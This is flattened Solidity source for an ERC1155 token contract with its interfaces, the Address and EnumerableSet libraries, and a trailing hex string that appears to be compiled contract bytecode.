_registerInterface(_INTERFACE_ID_ERC1155_METADATA_URI); } /** * @dev See {IERC1155MetadataURI-uri}. * * This implementation returns the same URI for *all* token types. It relies * on the token type ID substituion mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * Clients calling this function must replace the `\{id\}` substring with the * actual token type ID. */ function uri(uint256 _id) external view override returns (string memory) { return string(abi.encodePacked(_uri, _uint2str(_id))); } /** * @dev See {IERC1155-balanceOf}. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) public view override returns (uint256) { require(account != address(0), "ERC1155: balance query for the zero address"); return _balances[id][account]; } /** * @dev See {IERC1155-balanceOfBatch}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch( address[] memory accounts, uint256[] memory ids ) public view override returns (uint256[] memory) { require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch"); uint256[] memory batchBalances = new uint256[](accounts.length); for (uint256 i = 0; i < accounts.length; ++i) { require(accounts[i] != address(0), "ERC1155: batch balance query for the zero address"); batchBalances[i] = _balances[ids[i]][accounts[i]]; } return batchBalances; } /** * @dev See {IERC1155-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(_msgSender() != operator, "ERC1155: setting approval status for self"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC1155-isApprovedForAll}. */ function isApprovedForAll(address account, address operator) public view override returns (bool) { return _operatorApprovals[account][operator]; } /** * @dev See {IERC1155-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) public virtual override { require(to != address(0), "ERC1155: transfer to the zero address"); require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: caller is not owner nor approved" ); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data); _balances[id][from] = _balances[id][from].sub(amount, "ERC1155: insufficient balance for transfer"); _balances[id][to] = _balances[id][to].add(amount); emit TransferSingle(operator, from, to, id, amount); _doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data); } /** * @dev See {IERC1155-safeBatchTransferFrom}. */ function safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) public virtual override { require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); require(to != address(0), "ERC1155: transfer to the zero address"); require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: transfer caller is not owner nor approved" ); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, ids, amounts, data); for (uint256 i = 0; i < ids.length; ++i) { uint256 id = ids[i]; uint256 amount = amounts[i]; _balances[id][from] = _balances[id][from].sub( amount, "ERC1155: insufficient balance for transfer" ); _balances[id][to] = _balances[id][to].add(amount); } emit TransferBatch(operator, from, to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data); } /** * @dev Sets a new URI for all token types, by relying on the token type ID * substituion mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * By this mechanism, any occurence of the `\{id\}` substring in either the * URI or any of the amounts in the JSON file at said URI will be replaced by * clients with the token type ID. * * For example, the `https://token-cdn-domain/\{id\}.json` URI would be * interpreted by clients as * `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json` * for token type ID 0x4cce0. * * See {uri}. * * Because these URIs cannot be meaningfully represented by the {URI} event, * this function emits no events. */ function _setURI(string memory newuri) internal virtual { _uri = newuri; } /** * @dev Creates `amount` tokens of token type `id`, and assigns them to `account`. * * Emits a {TransferSingle} event. * * Requirements: * * - `account` cannot be the zero address. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function _mint(address account, uint256 id, uint256 amount, bytes memory data) internal virtual { require(account != address(0), "ERC1155: mint to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), account, _asSingletonArray(id), _asSingletonArray(amount), data); _balances[id][account] = _balances[id][account].add(amount); emit TransferSingle(operator, address(0), account, id, amount); _doSafeTransferAcceptanceCheck(operator, address(0), account, id, amount, data); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function _mintBatch(address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data) internal virtual { require(to != address(0), "ERC1155: mint to the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), to, ids, amounts, data); for (uint i = 0; i < ids.length; i++) { _balances[ids[i]][to] = amounts[i].add(_balances[ids[i]][to]); } emit TransferBatch(operator, address(0), to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data); } /** * @dev Destroys `amount` tokens of token type `id` from `account` * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens of token type `id`. */ function _burn(address account, uint256 id, uint256 amount) internal virtual { require(account != address(0), "ERC1155: burn from the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, account, address(0), _asSingletonArray(id), _asSingletonArray(amount), ""); _balances[id][account] = _balances[id][account].sub( amount, "ERC1155: burn amount exceeds balance" ); emit TransferSingle(operator, account, address(0), id, amount); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}. * * Requirements: * * - `ids` and `amounts` must have the same length. */ function _burnBatch(address account, uint256[] memory ids, uint256[] memory amounts) internal virtual { require(account != address(0), "ERC1155: burn from the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, account, address(0), ids, amounts, ""); for (uint i = 0; i < ids.length; i++) { _balances[ids[i]][account] = _balances[ids[i]][account].sub( amounts[i], "ERC1155: burn amount exceeds balance" ); } emit TransferBatch(operator, account, address(0), ids, amounts); } /** * @dev Hook that is called before any token transfer. This includes minting * and burning, as well as batched variants. * * The same hook is called on both single and batched variants. For single * transfers, the length of the `id` and `amount` arrays will be 1. * * Calling conditions (for each `id` and `amount` pair): * * - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens * of token type `id` will be transferred to `to`. * - When `from` is zero, `amount` tokens of token type `id` will be minted * for `to`. * - when `to` is zero, `amount` of ``from``'s tokens of token type `id` * will be burned. * - `from` and `to` are never both zero. * - `ids` and `amounts` have the same, non-zero length. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { } function _doSafeTransferAcceptanceCheck( address operator, address from, address to, uint256 id, uint256 amount, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) { if (response != IERC1155Receiver(to).onERC1155Received.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _doSafeBatchTransferAcceptanceCheck( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns (bytes4 response) { if (response != IERC1155Receiver(to).onERC1155BatchReceived.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) { uint256[] memory array = new uint256[](1); array[0] = element; return array; } /** * @notice Convert uint256 to string * @param _i Unsigned integer to convert to string */ function _uint2str(uint256 _i) internal pure returns (string memory _uintAsString) { if (_i == 0) { return "0"; } uint256 j = _i; uint256 ii = _i; uint256 len; // Get number of bytes while (j != 0) { len++; j /= 10; } bytes memory bstr = new bytes(len); uint256 k = len - 1; // Get each individual ASCII while (ii != 0) { bstr[k--] = bytes1(uint8(48 + (ii % 10))); ii /= 10; } // Convert to string return string(bstr); } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.2; import "../../introspection/IERC165.sol"; /** * @dev Required interface of an ERC1155 compliant contract, as defined in the * https://eips.ethereum.org/EIPS/eip-1155[EIP]. * * _Available since v3.1._ */ interface IERC1155 is IERC165 { /** * @dev Emitted when `value` tokens of token type `id` are transfered from `from` to `to` by `operator`. */ event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value); /** * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all * transfers. */ event TransferBatch(address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values); /** * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to * `approved`. */ event ApprovalForAll(address indexed account, address indexed operator, bool approved); /** * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI. * * If an {URI} event was emitted for `id`, the standard * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value * returned by {IERC1155MetadataURI-uri}. */ event URI(string value, uint256 indexed id); /** * @dev Returns the amount of tokens of token type `id` owned by `account`. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) external view returns (uint256); /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory); /** * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`, * * Emits an {ApprovalForAll} event. * * Requirements: * * - `operator` cannot be the caller. */ function setApprovalForAll(address operator, bool approved) external; /** * @dev Returns true if `operator` is approved to transfer ``account``'s tokens. * * See {setApprovalForAll}. */ function isApprovedForAll(address account, address operator) external view returns (bool); /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes calldata data) external; /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function safeBatchTransferFrom(address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.6.2; import "./IERC1155.sol"; /** * @dev Interface of the optional ERC1155MetadataExtension interface, as defined * in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP]. * * _Available since v3.1._ */ interface IERC1155MetadataURI is IERC1155 { /** * @dev Returns the URI for token type `id`. * * If the `\{id\}` substring is present in the URI, it must be replaced by * clients with the actual token type ID. */ function uri(uint256 id) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "../../introspection/IERC165.sol"; /** * _Available since v3.1._ */ interface IERC1155Receiver is IERC165 { /** @dev Handles the receipt of a single ERC1155 token type. This function is called at the end of a `safeTransferFrom` after the balance has been updated. To accept the transfer, this must return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` (i.e. 0xf23a6e61, or its own function selector). @param operator The address which initiated the transfer (i.e. msg.sender) @param from The address which previously owned the token @param id The ID of the token being transferred @param value The amount of tokens being transferred @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed */ function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns(bytes4); /** @dev Handles the receipt of a multiple ERC1155 token types. This function is called at the end of a `safeBatchTransferFrom` after the balances have been updated. To accept the transfer(s), this must return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` (i.e. 0xbc197c81, or its own function selector). @param operator The address which initiated the batch transfer (i.e. msg.sender) @param from The address which previously owned the token @param ids An array containing ids of each token being transferred (order and length must match values array) @param values An array containing amounts of each token being transferred (order and length must match ids array) @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed */ function onERC1155BatchReceived( address operator, address from, uint256[] calldata ids, uint256[] calldata values, bytes calldata data ) external returns(bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256` * (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } }
0x6080604052600436106101ed5760003560e01c80634e1273f41161010d578063a217fddf116100a0578063e72db5fd1161006f578063e72db5fd14610d3e578063e985e9c514610d53578063f242432a14610d8e578063f2fde38b14610e64578063f5298aca14610e97576101ed565b8063a217fddf14610c8b578063a22cb46514610ca0578063ca15c87314610cdb578063d547741f14610d05576101ed565b80638da5cb5b116100dc5780638da5cb5b14610bdc5780639010d07c14610c0d57806391d1485414610c3d57806395d89b4114610c76576101ed565b80634e1273f4146108705780636b20c454146109f0578063715018a614610b30578063731133e914610b45576101ed565b80631f7fdffa116101855780632eb2c2d6116101545780632eb2c2d61461061b5780632f2ff15d146107e95780633408e4701461082257806336568abe14610837576101ed565b80631f7fdffa1461047e57806320379ee5146105a9578063248a9ca3146105be5780632d0335ab146105e8576101ed565b80630c53c51c116101c15780630c53c51c146103445780630e89341c146104065780630f6ebce3146104305780630f7e597014610469576101ed565b8062fdd58e146101f257806301ffc9a71461023d57806306ec16f81461028557806306fdde03146102ba575b600080fd5b3480156101fe57600080fd5b5061022b6004803603604081101561021557600080fd5b506001600160a01b038135169060200135610ed6565b60408051918252519081900360200190f35b34801561024957600080fd5b506102716004803603602081101561026057600080fd5b50356001600160e01b031916610f48565b604080519115158252519081900360200190f35b34801561029157600080fd5b506102b8600480360360208110156102a857600080fd5b50356001600160a01b0316610f6b565b005b3480156102c657600080fd5b506102cf6110f8565b6040805160208082528351818301528351919283929083019185019080838360005b838110156103095781810151838201526020016102f1565b50505050905090810190601f1680156103365780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102cf600480360360a081101561035a57600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561038457600080fd5b82018360208201111561039657600080fd5b803590602001918460018302840111600160201b831117156103b757600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550508235935050506020810135906040013560ff16611186565b34801561041257600080fd5b506102cf6004803603602081101561042957600080fd5b5035611489565b34801561043c57600080fd5b506102b86004803603604081101561045357600080fd5b506001600160a01b03813516906020013561155c565b34801561047557600080fd5b506102cf6116b3565b34801561048a57600080fd5b506102b8600480360360808110156104a157600080fd5b6001600160a01b038235169190810190604081016020820135600160201b8111156104cb57600080fd5b8201836020820111156104dd57600080fd5b803590602001918460208302840111600160201b831117156104fe57600080fd5b919390929091602081019035600160201b81111561051b57600080fd5b82018360208201111561052d57600080fd5b803590602001918460208302840111600160201b8311171561054e57600080fd5b919390929091602081019035600160201b81111561056b57600080fd5b82018360208201111561057d57600080fd5b803590602001918460018302840111600160201b8311171561059e57600080fd5b5090925090506116d0565b3480156105b557600080fd5b5061022b611851565b3480156105ca57600080fd5b5061022b600480360360208110156105e157600080fd5b5035611857565b3480156105f457600080fd5b5061022b6004803603602081101561060b57600080fd5b50356001600160a01b031661186c565b34801561062757600080fd5b506102b8600480360360a081101561063e57600080fd5b6001600160a01b038235811692602081013590911691810190606081016040820135600160201b81111561067157600080fd5b82018360208201111561068357600080fd5b803590602001918460208302840111600160201b831117156106a457600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b8111156106f357600080fd5b82018360208201111561070557600080fd5b803590602001918460208302840111600160201b8311171561072657600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b81111561077557600080fd5b82018360208201111561078757600080fd5b803590602001918460018302840111600160201b831117156107a857600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550611887945050505050565b3480156107f557600080fd5b506102b86004803603604081101561080c57600080fd5b50803590602001356001600160a01b0316611b85565b34801561082e57600080fd5b5061022b611bec565b34801561084357600080fd5b506102b86004803603604081101561085a57600080fd5b50803590602001356001600160a01b0316611bf0565b34801561087c57600080fd5b506109a06004803603604081101561089357600080fd5b810190602081018135600160201b8111156108ad57600080fd5b8201836020820111156108bf57600080fd5b803590602001918460208302840111600160201b831117156108e057600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b81111561092f57600080fd5b82018360208201111561094157600080fd5b803590602001918460208302840111600160201b8311171561096257600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550611c51945050505050565b60408051602080825283518183015283519192839290830191858101910280838360005b838110156109dc5781810151838201526020016109c4565b505050509050019250505060405180910390f35b3480156109fc57600080fd5b506102b860048036036060811015610a1357600080fd5b6001600160a01b038235169190810190604081016020820135600160201b811115610a3d57600080fd5b820183602082011115610a4f57600080fd5b803590602001918460208302840111600160201b83111715610a7057600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b811115610abf57600080fd5b820183602082011115610ad157600080fd5b803590602001918460208302840111600160201b83111715610af257600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550611dcf945050505050565b348015610b3c57600080fd5b506102b8611e48565b348015610b5157600080fd5b506102b860048036036080811015610b6857600080fd5b6001600160a01b038235169160208101359160408201359190810190608081016060820135600160201b811115610b9e57600080fd5b820183602082011115610bb057600080fd5b803590602001918460018302840111600160201b83111715610bd157600080fd5b509092509050611efc565b348015610be857600080fd5b50610bf1611fd4565b604080516001600160a01b039092168252519081900360200190f35b348015610c1957600080fd5b50610bf160048036036040811015610c3057600080fd5b5080359060200135611fe3565b348015610c4957600080fd5b5061027160048036036040811015610c6057600080fd5b50803590602001356001600160a01b0316612008565b348015610c8257600080fd5b506102cf612026565b348015610c9757600080fd5b5061022b612081565b348015610cac57600080fd5b506102b860048036036040811015610cc357600080fd5b506001600160a01b0381351690602001351515612086565b348015610ce757600080fd5b5061022b60048036036020811015610cfe57600080fd5b5035612175565b348015610d1157600080fd5b506102b860048036036040811015610d2857600080fd5b50803590602001356001600160a01b031661218c565b348015610d4a57600080fd5b5061022b6121e5565b348015610d5f57600080fd5b5061027160048036036040811015610d7657600080fd5b506001600160a01b038135811691602001351661220b565b348015610d9a57600080fd5b506102b8600480360360a0811015610db157600080fd5b6001600160a01b03823581169260208101359091169160408201359160608101359181019060a081016080820135600160201b811115610df057600080fd5b820183602082011115610e0257600080fd5b803590602001918460018302840111600160201b83111715610e2357600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550612239945050505050565b348015610e7057600080fd5b506102b860048036036020811015610e8757600080fd5b50356001600160a01b031661240a565b348015610ea357600080fd5b506102b860048036036060811015610eba57600080fd5b506001600160a01b038135169060208101359060400135612515565b60006001600160a01b038316610f1d5760405162461bcd60e51b815260040180806020018281038252602b81526020018061395d602b913960400191505060405180910390fd5b5060008181526001602090815260408083206001600160a01b03861684529091529020545b92915050565b6001600160e01b0319811660009081526020819052604090205460ff165b919050565b600d546001600160a01b03163314610fbe576040805162461bcd60e51b81526020600482015260116024820152703cb7ba9030b932903737ba1030b236b4b760791b604482015290519081900360640190fd5b